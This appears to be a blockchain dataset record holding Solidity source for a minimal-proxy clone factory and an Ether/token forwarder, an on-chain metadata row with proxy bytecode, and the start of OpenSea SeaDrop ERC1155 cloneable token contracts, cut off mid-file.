IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,378 |
b25eea630456a0099d1dddb6a917351fc3c956e878728d37c3f770717aaf03e1
|
d8d0512e5a20c1dfc6e771fa47e87ba5801eb30bb9ae6f051d37e69a7902bc7c
|
fda6e8115776429657ea9832a90e95bad73c61d1
|
000000f20032b9e171844b00ea507e11960bd94a
|
027b808107c9bbe018841481ec5a2b5677d8534d
|
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/clones/ERC1155SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n"
},
"src/clones/ERC1155SeaDropContractOffererCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n"
},
"src/interfaces/IERC1155SeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n"
},
"src/interfaces/ISeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n"
},
"src/clones/ERC1155ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the 